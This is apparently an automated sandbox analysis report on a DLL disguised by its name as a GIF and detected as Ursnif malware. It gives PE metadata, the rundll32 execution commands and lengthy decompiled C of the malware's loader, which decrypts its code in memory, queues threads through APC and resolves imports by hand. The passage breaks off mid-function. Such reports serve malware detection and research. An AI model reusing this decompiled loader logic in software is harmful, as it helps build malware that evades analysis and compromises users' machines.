                IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
                IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x00x0
                IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

                Sections

                NameVirtual AddressVirtual SizeRaw SizeXored PEZLIB ComplexityFile TypeEntropyCharacteristics
                .code0x10000x185f20x18600False0.670042067308data6.53345039933IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
                .data0x1a0000x640x200False0.16796875data1.0662581269IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                .data0x1b0000x10000x200False0.02734375data0.0IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
                .rdata0x1c0000x20b30x2200False0.359834558824data2.96025706595IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
                .data0x1f0000x7b20x800False0.45703125data4.70767794561IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ

                Imports

                DLLImport
                user32.dllGetActiveWindow, SetWindowsHookExA, GetLayeredWindowAttributes
                kernel32.dllGetProcAddress, LoadLibraryA, VirtualProtect, VirtualAlloc, lstrlenA, lstrcatA, lstrcmpA, GetEnvironmentVariableW
                ole32.dllOleInitialize, OleQueryCreateFromData, IIDFromString, CLIPFORMAT_UserUnmarshal, OleCreateEmbeddingHelper, HDC_UserSize
                msimg32.dllAlphaBlend, TransparentBlt
                comdlg32.dllPageSetupDlgA, PrintDlgA
                oledlg.dllOleUICanConvertOrActivateAs, OleUIChangeSourceW, OleUIConvertA
                comctl32.dllCreateStatusWindow, LBItemFromPt, DPA_Create, FlatSB_ShowScrollBar, ImageList_GetFlags
                oleacc.dllIID_IAccessible, LresultFromObject
                version.dllVerFindFileW, VerInstallFileA, VerQueryValueA, VerQueryValueW
                gdiplus.dllGdipEnumerateMetafileDestPointI, GdipCreateBitmapFromHBITMAP, GdipSetPenUnit, GdipGetImageEncoders, GdipGetPathPointsI
                winspool.drvFindNextPrinterChangeNotification, ConnectToPrinterDlg, SetPrinterDataW, GetPrinterW, DeletePrinterDataExW
                shell32.dllSHGetSpecialFolderPathA
                advapi32.dllGetKernelObjectSecurity, CryptEnumProviderTypesA, RegQueryValueExW, RegisterIdleTask

                Exports

                NameOrdinalAddress
                DllServer10x1000447b

                Network Behavior

                No network behavior found

                Code Manipulations

                Statistics

                CPU Usage

                Click to jump to process

                Memory Usage

                Click to jump to process

                Behavior

                Click to jump to process

                System Behavior

                General

                Start time:09:58:30
                Start date:06/04/2021
                Path:C:\Windows\System32\loaddll32.exe
                Wow64 process (32bit):true
                Commandline:loaddll32.exe 'C:\Users\user\Desktop\gg_1.gif.dll'
                Imagebase:0x9f0000
                File size:116736 bytes
                MD5 hash:542795ADF7CC08EFCF675D65310596E8
                Has elevated privileges:true
                Has administrator privileges:true
                Programmed in:C, C++ or other language
                Yara matches:
                • Rule: JoeSecurity_Ursnif_1, Description: Yara detected Ursnif, Source: 00000001.00000002.919628932.0000000003020000.00000004.00000001.sdmp, Author: Joe Security
                Reputation:moderate

                General

                Start time:09:58:31
                Start date:06/04/2021
                Path:C:\Windows\SysWOW64\cmd.exe
                Wow64 process (32bit):true
                Commandline:cmd.exe /C rundll32.exe 'C:\Users\user\Desktop\gg_1.gif.dll',#1
                Imagebase:0x11d0000
                File size:232960 bytes
                MD5 hash:F3BDBE3BB6F734E357235F4D5898582D
                Has elevated privileges:true
                Has administrator privileges:true
                Programmed in:C, C++ or other language
                Reputation:high

                General

                Start time:09:58:32
                Start date:06/04/2021
                Path:C:\Windows\SysWOW64\rundll32.exe
                Wow64 process (32bit):true
                Commandline:rundll32.exe C:\Users\user\Desktop\gg_1.gif.dll,DllServer
                Imagebase:0x1b0000
                File size:61952 bytes
                MD5 hash:D7CA562B0DB4F4DD0F03A89A1FDAD63D
                Has elevated privileges:true
                Has administrator privileges:true
                Programmed in:C, C++ or other language
                Yara matches:
                • Rule: JoeSecurity_Ursnif_1, Description: Yara detected Ursnif, Source: 00000003.00000002.703411364.0000000004D40000.00000004.00000001.sdmp, Author: Joe Security
                Reputation:high

                General

                Start time:09:58:32
                Start date:06/04/2021
                Path:C:\Windows\SysWOW64\rundll32.exe
                Wow64 process (32bit):true
                Commandline:rundll32.exe 'C:\Users\user\Desktop\gg_1.gif.dll',#1
                Imagebase:0x1b0000
                File size:61952 bytes
                MD5 hash:D7CA562B0DB4F4DD0F03A89A1FDAD63D
                Has elevated privileges:true
                Has administrator privileges:true
                Programmed in:C, C++ or other language
                Yara matches:
                • Rule: JoeSecurity_Ursnif_1, Description: Yara detected Ursnif, Source: 00000004.00000002.699967936.0000000004560000.00000004.00000001.sdmp, Author: Joe Security
                Reputation:high

                Disassembly

                Code Analysis

                Reset < >

                  Executed Functions

                  C-Code - Quality: 79%
                  			E1000163F(char _a4) {
                  				long _v8;
                  				struct _SYSTEMTIME _v24;
                  				char _v48;
                  				void* __edi;
                  				long _t20;
                  				int _t22;
                  				long _t25;
                  				long _t26;
                  				long _t30;
                  				intOrPtr _t38;
                  				intOrPtr _t43;
                  				signed int _t44;
                  				void* _t48;
                  				signed int _t51;
                  				void* _t54;
                  				intOrPtr* _t55;
                  
                  				_t20 = E10001850();
                  				_v8 = _t20;
                  				if(_t20 != 0) {
                  					return _t20;
                  				}
                  				do {
                  					GetSystemTime( &_v24);
                  					_t22 = SwitchToThread();
                  					asm("cdq");
                  					_t44 = 9;
                  					_t51 = _t22 + (_v24.wMilliseconds & 0x0000ffff) % _t44;
                  					_t25 = E100018F4(0, _t51); // executed
                  					_v8 = _t25;
                  					Sleep(_t51 << 5); // executed
                  					_t26 = _v8;
                  				} while (_t26 == 0xc);
                  				if(_t26 != 0) {
                  					L18:
                  					return _t26;
                  				}
                  				if(_a4 != 0) {
                  					L11:
                  					_push(0);
                  					_t54 = E100012DC(E1000135A,  &_v48);
                  					if(_t54 == 0) {
                  						_v8 = GetLastError();
                  					} else {
                  						_t30 = WaitForSingleObject(_t54, 0xffffffff);
                  						_v8 = _t30;
                  						if(_t30 == 0) {
                  							GetExitCodeThread(_t54,  &_v8);
                  						}
                  						CloseHandle(_t54);
                  					}
                  					_t26 = _v8;
                  					if(_t26 == 0xffffffff) {
                  						_t26 = GetLastError();
                  					}
                  					goto L18;
                  				}
                  				if(E10001538(_t44,  &_a4) != 0) {
                  					 *0x10004138 = 0;
                  					goto L11;
                  				}
                  				_t43 = _a4;
                  				_t55 = __imp__GetLongPathNameW;
                  				_t48 =  *_t55(_t43, 0, 0);
                  				if(_t48 == 0) {
                  					L9:
                  					 *0x10004138 = _t43;
                  					goto L11;
                  				}
                  				_t14 = _t48 + 2; // 0x2
                  				_t38 = E10001DE1(_t48 + _t14);
                  				 *0x10004138 = _t38;
                  				if(_t38 == 0) {
                  					goto L9;
                  				}
                  				 *_t55(_t43, _t38, _t48);
                  				E10001DFC(_t43);
                  				goto L11;
                  			}



















                  0x10001646
                  0x1000164f
                  0x10001652
                  0x10001742
                  0x10001742
                  0x10001659
                  0x1000165d
                  0x10001663
                  0x10001671
                  0x10001672
                  0x10001675
                  0x10001678
                  0x10001681
                  0x10001684
                  0x1000168a
                  0x1000168d
                  0x10001694
                  0x1000173f
                  0x00000000
                  0x1000173f
                  0x1000169e
                  0x100016ef
                  0x100016ef
                  0x10001705
                  0x1000170a
                  0x10001732
                  0x1000170c
                  0x1000170f
                  0x10001717
                  0x1000171a
                  0x10001721
                  0x10001721
                  0x10001728
                  0x10001728
                  0x10001735
                  0x1000173b
                  0x1000173d
                  0x1000173d
                  0x00000000
                  0x1000173b
                  0x100016ab
                  0x100016e9
                  0x00000000
                  0x100016e9
                  0x100016ad
                  0x100016b0
                  0x100016bb
                  0x100016bf
                  0x100016e1
                  0x100016e1
                  0x00000000
                  0x100016e1
                  0x100016c1
                  0x100016c6
                  0x100016cd
                  0x100016d2
                  0x00000000
                  0x00000000
                  0x100016d7
                  0x100016da
                  0x00000000

                  APIs
                    • Part of subcall function 10001850: CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,00000000,1000164B,73B763F0), ref: 1000185F
                    • Part of subcall function 10001850: GetVersion.KERNEL32 ref: 1000186E
                    • Part of subcall function 10001850: GetCurrentProcessId.KERNEL32 ref: 10001885
                    • Part of subcall function 10001850: OpenProcess.KERNEL32(0010047A,00000000,00000000), ref: 1000189E
                  • GetSystemTime.KERNEL32(?,00000000,73B763F0), ref: 1000165D
                  • SwitchToThread.KERNEL32 ref: 10001663
                    • Part of subcall function 100018F4: VirtualAlloc.KERNELBASE(00000000,1000167D,00003000,00000004,?,?,1000167D,00000000), ref: 1000194A
                    • Part of subcall function 100018F4: memcpy.NTDLL(?,?,1000167D,?,?,1000167D,00000000), ref: 100019DC
                    • Part of subcall function 100018F4: VirtualFree.KERNELBASE(?,00000000,00008000,?,?,1000167D,00000000), ref: 100019F7
                  • Sleep.KERNELBASE(00000000,00000000), ref: 10001684
                  • GetLongPathNameW.KERNEL32 ref: 100016B9
                  • GetLongPathNameW.KERNEL32 ref: 100016D7
                  • WaitForSingleObject.KERNEL32(00000000,000000FF,?,00000000), ref: 1000170F
                  • GetExitCodeThread.KERNEL32(00000000,?), ref: 10001721
                  • CloseHandle.KERNEL32(00000000), ref: 10001728
                  • GetLastError.KERNEL32(?,00000000), ref: 10001730
                  • GetLastError.KERNEL32 ref: 1000173D
                  Memory Dump Source
                  • Source File: 00000001.00000002.920109420.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true
                  • Associated: 00000001.00000002.920099749.0000000010000000.00000002.00020000.sdmp Download File
                  • Associated: 00000001.00000002.920125702.0000000010005000.00000040.00020000.sdmp Download File
                  Similarity
                  • API ID: ErrorLastLongNamePathProcessThreadVirtual$AllocCloseCodeCreateCurrentEventExitFreeHandleObjectOpenSingleSleepSwitchSystemTimeVersionWaitmemcpy
                  • String ID:
                  • API String ID: 2280543912-0
                  • Opcode ID: 1d94a8f484d99c584117039eeacf9866d0a4ad351db0f72dece7264e9d25b94c
                  • Instruction ID: 51f1b5d7b5d62603e0b6ca74e6a4c687eacd357270907eacbd85172d1a2e8795
                  • Opcode Fuzzy Hash: 1d94a8f484d99c584117039eeacf9866d0a4ad351db0f72dece7264e9d25b94c
                  • Instruction Fuzzy Hash: 2D318F76901225ABE711EBA58C849DF77FDEF843D0B124226F914D3148EB34DB40DB60
                  Uniqueness

                  Uniqueness Score: -1.00%

                  C-Code - Quality: 86%
                  			_entry_(void* __ecx, intOrPtr _a4, char _a8, intOrPtr _a12) {
                  				long _v8;
                  				void* __edi;
                  				void* __esi;
                  				void* __ebp;
                  				char _t9;
                  				void* _t10;
                  				void* _t18;
                  				void* _t23;
                  				void* _t36;
                  
                  				_push(__ecx);
                  				_t9 = _a8;
                  				_v8 = 1;
                  				if(_t9 == 0) {
                  					_t10 = InterlockedDecrement(0x10004108);
                  					__eflags = _t10;
                  					if(_t10 == 0) {
                  						__eflags =  *0x1000410c;
                  						if( *0x1000410c != 0) {
                  							_t36 = 0x2328;
                  							while(1) {
                  								SleepEx(0x64, 1);
                  								__eflags =  *0x10004118;
                  								if( *0x10004118 == 0) {
                  									break;
                  								}
                  								_t36 = _t36 - 0x64;
                  								__eflags = _t36;
                  								if(_t36 > 0) {
                  									continue;
                  								}
                  								break;
                  							}
                  							CloseHandle( *0x1000410c);
                  						}
                  						HeapDestroy( *0x10004110);
                  					}
                  				} else {
                  					if(_t9 == 1 && InterlockedIncrement(0x10004108) == 1) {
                  						_t18 = HeapCreate(0, 0x400000, 0); // executed
                  						_t41 = _t18;
                  						 *0x10004110 = _t18;
                  						if(_t18 == 0) {
                  							L6:
                  							_v8 = 0;
                  						} else {
                  							 *0x10004130 = _a4;
                  							asm("lock xadd [eax], edi");
                  							_push( &_a8);
                  							_t23 = E100012DC(E1000111A, E100015EE(_a12, 1, 0x10004118, _t41));
                  							 *0x1000410c = _t23;
                  							if(_t23 == 0) {
                  								asm("lock xadd [esi], eax");
                  								goto L6;
                  							}
                  						}
                  					}
                  				}
                  				return _v8;
                  			}












                  0x10001afd
                  0x10001b09
                  0x10001b0b
                  0x10001b0e
                  0x10001b84
                  0x10001b8a
                  0x10001b8c
                  0x10001b8e
                  0x10001b94
                  0x10001b96
                  0x10001b9b
                  0x10001b9e
                  0x10001ba9
                  0x10001bab
                  0x00000000
                  0x00000000
                  0x10001bad
                  0x10001bb0
                  0x10001bb2
                  0x00000000
                  0x00000000
                  0x00000000
                  0x10001bb2
                  0x10001bba
                  0x10001bba
                  0x10001bc6
                  0x10001bc6
                  0x10001b10
                  0x10001b11
                  0x10001b31
                  0x10001b37
                  0x10001b39
                  0x10001b3e
                  0x10001b7a
                  0x10001b7a
                  0x10001b40
                  0x10001b48
                  0x10001b4f
                  0x10001b59
                  0x10001b65
                  0x10001b6c
                  0x10001b71
                  0x10001b76
                  0x00000000
                  0x10001b76
                  0x10001b71
                  0x10001b3e
                  0x10001b11
                  0x10001bd3

                  APIs
                  • InterlockedIncrement.KERNEL32(10004108), ref: 10001B1C
                  • HeapCreate.KERNELBASE(00000000,00400000,00000000), ref: 10001B31
                    • Part of subcall function 100012DC: CreateThread.KERNEL32(00000000,00000000,00000000,?,10004118,10001B6A), ref: 100012F3
                    • Part of subcall function 100012DC: QueueUserAPC.KERNELBASE(?,00000000,?), ref: 10001308
                    • Part of subcall function 100012DC: GetLastError.KERNEL32(00000000), ref: 10001313
                    • Part of subcall function 100012DC: TerminateThread.KERNEL32(00000000,00000000), ref: 1000131D
                    • Part of subcall function 100012DC: CloseHandle.KERNEL32(00000000), ref: 10001324
                    • Part of subcall function 100012DC: SetLastError.KERNEL32(00000000), ref: 1000132D
                  • InterlockedDecrement.KERNEL32(10004108), ref: 10001B84
                  • SleepEx.KERNEL32(00000064,00000001), ref: 10001B9E
                  • CloseHandle.KERNEL32 ref: 10001BBA
                  • HeapDestroy.KERNEL32 ref: 10001BC6
                  Memory Dump Source
                  • Source File: 00000001.00000002.920109420.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true
                  • Associated: 00000001.00000002.920099749.0000000010000000.00000002.00020000.sdmp Download File
                  • Associated: 00000001.00000002.920125702.0000000010005000.00000040.00020000.sdmp Download File
                  Similarity
                  • API ID: CloseCreateErrorHandleHeapInterlockedLastThread$DecrementDestroyIncrementQueueSleepTerminateUser
                  • String ID:
                  • API String ID: 2110400756-0
                  • Opcode ID: b2735cd62b98c0fff9eadb96ecfab59fc7d8990f65d57987f5a6912bdf7ccd39
                  • Instruction ID: f0df8185a4137bf23340b4e7eb087222ae8a4cbb436f36e741c86f19ce9e809b
                  • Opcode Fuzzy Hash: b2735cd62b98c0fff9eadb96ecfab59fc7d8990f65d57987f5a6912bdf7ccd39
                  • Instruction Fuzzy Hash: 922190B5601216AFF701DF69CCC4ACA7FE8FB642E07128129FA05D3168EB708D808B94
                  Uniqueness

                  Uniqueness Score: -1.00%

                  C-Code - Quality: 100%
                  			E100012DC(long _a4, DWORD* _a12) {
                  				_Unknown_base(*)()* _v0;
                  				void* _t4;
                  				long _t6;
                  				long _t11;
                  				void* _t13;
                  
                  				_t4 = CreateThread(0, 0, __imp__SleepEx,  *0x1000414c, 0, _a12); // executed
                  				_t13 = _t4;
                  				if(_t13 != 0) {
                  					_t6 = QueueUserAPC(_v0, _t13, _a4); // executed
                  					if(_t6 == 0) {
                  						_t11 = GetLastError();
                  						TerminateThread(_t13, _t11);
                  						CloseHandle(_t13);
                  						_t13 = 0;
                  						SetLastError(_t11);
                  					}
                  				}
                  				return _t13;
                  			}








                  0x100012f3
                  0x100012f9
                  0x100012fd
                  0x10001308
                  0x10001310
                  0x10001319
                  0x1000131d
                  0x10001324
                  0x1000132b
                  0x1000132d
                  0x10001333
                  0x10001310
                  0x10001337

                  APIs
                  • CreateThread.KERNEL32(00000000,00000000,00000000,?,10004118,10001B6A), ref: 100012F3
                  • QueueUserAPC.KERNELBASE(?,00000000,?), ref: 10001308
                  • GetLastError.KERNEL32(00000000), ref: 10001313
                  • TerminateThread.KERNEL32(00000000,00000000), ref: 1000131D
                  • CloseHandle.KERNEL32(00000000), ref: 10001324
                  • SetLastError.KERNEL32(00000000), ref: 1000132D
                  Memory Dump Source
                  • Source File: 00000001.00000002.920109420.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true
                  • Associated: 00000001.00000002.920099749.0000000010000000.00000002.00020000.sdmp Download File
                  • Associated: 00000001.00000002.920125702.0000000010005000.00000040.00020000.sdmp Download File
                  Similarity
                  • API ID: ErrorLastThread$CloseCreateHandleQueueTerminateUser
                  • String ID:
                  • API String ID: 3832013932-0
                  • Opcode ID: f944589a858edab2219560e62326191baa7f7a8351923321239c7166ab578a1d
                  • Instruction ID: 31004d63c2960ea31e2c824d7a0ae826113ff2aaace5ecc64d275acbf5e6dd3f
                  • Opcode Fuzzy Hash: f944589a858edab2219560e62326191baa7f7a8351923321239c7166ab578a1d
                  • Instruction Fuzzy Hash: AAF0F232606631FBF6139BA08C98F9FBBADFB08BD1F01C404FA1591168CB3189109BA5
                  Uniqueness

                  Uniqueness Score: -1.00%

                  C-Code - Quality: 87%
                  			E100018F4(void* __edi, intOrPtr _a4) {
                  				intOrPtr _v8;
                  				unsigned int _v12;
                  				intOrPtr _v16;
                  				char _v20;
                  				void* _v24;
                  				intOrPtr _v28;
                  				intOrPtr _v32;
                  				void* _v36;
                  				signed int _v44;
                  				signed int _v48;
                  				intOrPtr _t39;
                  				void* _t46;
                  				intOrPtr _t47;
                  				intOrPtr _t50;
                  				signed int _t59;
                  				signed int _t61;
                  				intOrPtr _t66;
                  				intOrPtr _t77;
                  				void* _t78;
                  				signed int _t80;
                  
                  				_t77 =  *0x10004130;
                  				_t39 = E10001F5D(_t77,  &_v20,  &_v12);
                  				_v16 = _t39;
                  				if(_t39 == 0) {
                  					asm("sbb ebx, ebx");
                  					_t59 =  ~( ~(_v12 & 0x00000fff)) + (_v12 >> 0xc);
                  					_t78 = _t77 + _v20;
                  					_v36 = _t78;
                  					_t46 = VirtualAlloc(0, _t59 << 0xc, 0x3000, 4); // executed
                  					_v24 = _t46;
                  					if(_t46 == 0) {
                  						_v16 = 8;
                  					} else {
                  						_t61 = 0;
                  						if(_t59 <= 0) {
                  							_t47 =  *0x1000414c;
                  						} else {
                  							_t66 = _a4;
                  							_t50 = _t46 - _t78;
                  							_t11 = _t66 + 0x100051a7; // 0x100051a7
                  							_v28 = _t50;
                  							_v32 = _t50 + _t11;
                  							_v8 = _t78;
                  							while(1) {
                  								asm("movsd");
                  								asm("movsd");
                  								asm("movsd");
                  								_t19 = _t61 + 1; // 0x2
                  								_t80 = _t19;
                  								E100018C4(_v8 + _t50, _v8, (_v48 ^ _v44) + _v20 + _a4 >> _t80);
                  								_t64 = _v32;
                  								_v8 = _v8 + 0x1000;
                  								_t47 =  *((intOrPtr*)(_v32 + 0xc)) -  *((intOrPtr*)(_t64 + 8)) +  *((intOrPtr*)(_t64 + 4));
                  								_t61 = _t80;
                  								 *0x1000414c = _t47;
                  								if(_t61 >= _t59) {
                  									break;
                  								}
                  								_t50 = _v28;
                  							}
                  						}
                  						if(_t47 != 0x63699bc3) {
                  							_v16 = 0xc;
                  						} else {
                  							memcpy(_v36, _v24, _v12);
                  						}
                  						VirtualFree(_v24, 0, 0x8000); // executed
                  					}
                  				}
                  				return _v16;
                  			}























                  0x100018fb
                  0x1000190b
                  0x10001912
                  0x10001915
                  0x1000192a
                  0x10001931
                  0x10001936
                  0x10001947
                  0x1000194a
                  0x10001952
                  0x10001955
                  0x100019ff
                  0x1000195b
                  0x1000195b
                  0x1000195f
                  0x100019c7
                  0x10001961
                  0x10001961
                  0x10001964
                  0x10001966
                  0x1000196e
                  0x10001971
                  0x10001974
                  0x1000197c
                  0x10001984
                  0x10001985
                  0x10001986
                  0x1000198d
                  0x1000198d
                  0x100019a1
                  0x100019a6
                  0x100019af
                  0x100019b6
                  0x100019b9
                  0x100019bd
                  0x100019c2
                  0x00000000
                  0x00000000
                  0x10001979
                  0x10001979
                  0x100019c4
                  0x100019d1
                  0x100019e6
                  0x100019d3
                  0x100019dc
                  0x100019e1
                  0x100019f7
                  0x100019f7
                  0x10001a06
                  0x10001a0c

                  APIs
                  • VirtualAlloc.KERNELBASE(00000000,1000167D,00003000,00000004,?,?,1000167D,00000000), ref: 1000194A
                  • memcpy.NTDLL(?,?,1000167D,?,?,1000167D,00000000), ref: 100019DC
                  • VirtualFree.KERNELBASE(?,00000000,00008000,?,?,1000167D,00000000), ref: 100019F7
                  Strings
                  Memory Dump Source
                  • Source File: 00000001.00000002.920109420.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true
                  • Associated: 00000001.00000002.920099749.0000000010000000.00000002.00020000.sdmp Download File
                  • Associated: 00000001.00000002.920125702.0000000010005000.00000040.00020000.sdmp Download File
                  Similarity
                  • API ID: Virtual$AllocFreememcpy
                  • String ID: Mar 9 2021
                  • API String ID: 4010158826-2159264323
                  • Opcode ID: 7b4b9413683c0ee93ca57d36818f05a47077ad882414d040b2bcd6576e39adc5
                  • Instruction ID: d25fb31f2c2add74eafa799964551cc2416acfdb7abcc9e218ddf36d438f9e1f
                  • Opcode Fuzzy Hash: 7b4b9413683c0ee93ca57d36818f05a47077ad882414d040b2bcd6576e39adc5
                  • Instruction Fuzzy Hash: 4D315271E0111A9FEB01CF99C891ADEBBF5EF48384F108169E904A7259D771AA45CB90
                  Uniqueness

                  Uniqueness Score: -1.00%

                  C-Code - Quality: 87%
                  			E1000111A(void* __ecx, char _a4) {
                  				long _t3;
                  				int _t4;
                  				int _t9;
                  				void* _t13;
                  
                  				_t13 = GetCurrentThread();
                  				_t3 = SetThreadAffinityMask(_t13, 1); // executed
                  				if(_t3 != 0) {
                  					SetThreadPriority(_t13, 0xffffffff); // executed
                  				}
                  				_t4 = E1000163F(_a4); // executed
                  				_t9 = _t4;
                  				if(_t9 == 0) {
                  					SetThreadPriority(_t13, _t4);
                  				}
                  				asm("lock xadd [eax], ecx");
                  				return _t9;
                  			}







                  0x10001123
                  0x10001128
                  0x10001136
                  0x1000113b
                  0x1000113b
                  0x10001141
                  0x10001146
                  0x1000114a
                  0x1000114e
                  0x1000114e
                  0x10001158
                  0x10001161

                  APIs
                  • GetCurrentThread.KERNEL32 ref: 1000111D
                  • SetThreadAffinityMask.KERNEL32 ref: 10001128
                  • SetThreadPriority.KERNELBASE(00000000,000000FF), ref: 1000113B
                  • SetThreadPriority.KERNEL32(00000000,00000000,?), ref: 1000114E
                  Memory Dump Source
                  • Source File: 00000001.00000002.920109420.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true
                  • Associated: 00000001.00000002.920099749.0000000010000000.00000002.00020000.sdmp Download File
                  • Associated: 00000001.00000002.920125702.0000000010005000.00000040.00020000.sdmp Download File
                  Similarity
                  • API ID: Thread$Priority$AffinityCurrentMask
                  • String ID:
                  • API String ID: 1452675757-0
                  • Opcode ID: c35cabef654aae5fe09134992651e52fd0a70a53666a0e792eef5a60e0c71ab1
                  • Instruction ID: 4c0cec3966cfd65f316416e497d44ff5eb1b0779e4299dd3e4543c5f6ab01fef
                  • Opcode Fuzzy Hash: c35cabef654aae5fe09134992651e52fd0a70a53666a0e792eef5a60e0c71ab1
                  • Instruction Fuzzy Hash: 91E092712066216BF302AB294C85EEB679DDF953F0B028225F620D22E8CF659D0286A5
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Non-executed Functions

                  C-Code - Quality: 100%
                  			E10001850() {
                  				void* _t1;
                  				long _t3;
                  				void* _t4;
                  				long _t5;
                  				void* _t6;
                  				intOrPtr _t8;
                  				void* _t12;
                  
                  				_t8 =  *0x10004130;
                  				_t1 = CreateEventA(0, 1, 0, 0);
                  				 *0x1000413c = _t1;
                  				if(_t1 == 0) {
                  					return GetLastError();
                  				}
                  				_t3 = GetVersion();
                  				if(_t3 != 5) {
                  					L4:
                  					if(_t12 <= 0) {
                  						_t4 = 0x32;
                  						return _t4;
                  					} else {
                  						goto L5;
                  					}
                  				} else {
                  					if(_t3 > 0) {
                  						L5:
                  						 *0x1000412c = _t3;
                  						_t5 = GetCurrentProcessId();
                  						 *0x10004128 = _t5;
                  						 *0x10004130 = _t8;
                  						_t6 = OpenProcess(0x10047a, 0, _t5);
                  						 *0x10004124 = _t6;
                  						if(_t6 == 0) {
                  							 *0x10004124 =  *0x10004124 | 0xffffffff;
                  						}
                  						return 0;
                  					} else {
                  						_t12 = _t3 - _t3;
                  						goto L4;
                  					}
                  				}
                  			}










                  0x10001851
                  0x1000185f
                  0x10001867
                  0x1000186c
                  0x100018be
                  0x100018be
                  0x1000186e
                  0x10001876
                  0x1000187e
                  0x1000187e
                  0x100018ba
                  0x100018bc
                  0x00000000
                  0x00000000
                  0x00000000
                  0x10001878
                  0x1000187a
                  0x10001880
                  0x10001880
                  0x10001885
                  0x10001893
                  0x10001898
                  0x1000189e
                  0x100018a6
                  0x100018ab
                  0x100018ad
                  0x100018ad
                  0x100018b7
                  0x1000187c
                  0x1000187c
                  0x00000000
                  0x1000187c
                  0x1000187a

                  APIs
                  • CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,00000000,1000164B,73B763F0), ref: 1000185F
                  • GetVersion.KERNEL32 ref: 1000186E
                  • GetCurrentProcessId.KERNEL32 ref: 10001885
                  • OpenProcess.KERNEL32(0010047A,00000000,00000000), ref: 1000189E
                  Memory Dump Source
                  • Source File: 00000001.00000002.920109420.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true
                  • Associated: 00000001.00000002.920099749.0000000010000000.00000002.00020000.sdmp Download File
                  • Associated: 00000001.00000002.920125702.0000000010005000.00000040.00020000.sdmp Download File
                  Similarity
                  • API ID: Process$CreateCurrentEventOpenVersion
                  • String ID:
                  • API String ID: 845504543-0
                  • Opcode ID: ad5392e4f8523c6bff8dabd249a7cc4530ce31fe89c4eb97e7685ee26d633860
                  • Instruction ID: 85c0868463d14858f17c42858624fe0a32704ce5df48730f043fd2a385afc03a
                  • Opcode Fuzzy Hash: ad5392e4f8523c6bff8dabd249a7cc4530ce31fe89c4eb97e7685ee26d633860
                  • Instruction Fuzzy Hash: 69F0C2B06492309AF701DF68ADC57C53BE8E7097D2F028215E244D61ECDBB085818B5C
                  Uniqueness

                  Uniqueness Score: -1.00%

                  C-Code - Quality: 100%
                  			E10001745(void* __edi, intOrPtr _a4) {
                  				signed int _v8;
                  				intOrPtr* _v12;
                  				_Unknown_base(*)()** _v16;
                  				signed int _v20;
                  				signed short _v24;
                  				struct HINSTANCE__* _v28;
                  				intOrPtr _t43;
                  				intOrPtr* _t45;
                  				intOrPtr _t46;
                  				struct HINSTANCE__* _t47;
                  				intOrPtr* _t49;
                  				intOrPtr _t50;
                  				signed short _t51;
                  				_Unknown_base(*)()* _t53;
                  				CHAR* _t54;
                  				_Unknown_base(*)()* _t55;
                  				void* _t58;
                  				signed int _t59;
                  				_Unknown_base(*)()* _t60;
                  				intOrPtr _t61;
                  				intOrPtr _t65;
                  				signed int _t68;
                  				void* _t69;
                  				CHAR* _t71;
                  				signed short* _t73;
                  
                  				_t69 = __edi;
                  				_v20 = _v20 & 0x00000000;
                  				_t59 =  *0x1000414c;
                  				_t43 =  *((intOrPtr*)(_a4 + _t59 * 8 - 0x1b4cdd98));
                  				if(_t43 != 0) {
                  					_t45 = _t43 + __edi;
                  					_v12 = _t45;
                  					_t46 =  *((intOrPtr*)(_t45 + 0xc));
                  					if(_t46 != 0) {
                  						while(1) {
                  							_t71 = _t46 + _t69;
                  							_t47 = LoadLibraryA(_t71);
                  							_v28 = _t47;
                  							if(_t47 == 0) {
                  								break;
                  							}
                  							_v24 = _v24 & 0x00000000;
                  							 *_t71 = _t59 - 0x63699bc3;
                  							_t49 = _v12;
                  							_t61 =  *((intOrPtr*)(_t49 + 0x10));
                  							_t50 =  *_t49;
                  							if(_t50 != 0) {
                  								L6:
                  								_t73 = _t50 + _t69;
                  								_v16 = _t61 + _t69;
                  								while(1) {
                  									_t51 =  *_t73;
                  									if(_t51 == 0) {
                  										break;
                  									}
                  									if(__eflags < 0) {
                  										__eflags = _t51 - _t69;
                  										if(_t51 < _t69) {
                  											L12:
                  											_t21 =  &_v8;
                  											 *_t21 = _v8 & 0x00000000;
                  											__eflags =  *_t21;
                  											_v24 =  *_t73 & 0x0000ffff;
                  										} else {
                  											_t65 = _a4;
                  											__eflags = _t51 -  *((intOrPtr*)(_t65 + 0x50)) + _t69;
                  											if(_t51 >=  *((intOrPtr*)(_t65 + 0x50)) + _t69) {
                  												goto L12;
                  											} else {
                  												goto L11;
                  											}
                  										}
                  									} else {
                  										_t51 = _t51 + _t69;
                  										L11:
                  										_v8 = _t51;
                  									}
                  									_t53 = _v8;
                  									__eflags = _t53;
                  									if(_t53 == 0) {
                  										_t54 = _v24 & 0x0000ffff;
                  									} else {
                  										_t54 = _t53 + 2;
                  									}
                  									_t55 = GetProcAddress(_v28, _t54);
                  									__eflags = _t55;
                  									if(__eflags == 0) {
                  										_v20 = _t59 - 0x63699b44;
                  									} else {
                  										_t68 = _v8;
                  										__eflags = _t68;
                  										if(_t68 != 0) {
                  											 *_t68 = _t59 - 0x63699bc3;
                  										}
                  										 *_v16 = _t55;
                  										_t58 = 0x725990f8 + _t59 * 4;
                  										_t73 = _t73 + _t58;
                  										_t32 =  &_v16;
                  										 *_t32 = _v16 + _t58;
                  										__eflags =  *_t32;
                  										continue;
                  									}
                  									goto L23;
                  								}
                  							} else {
                  								_t50 = _t61;
                  								if(_t61 != 0) {
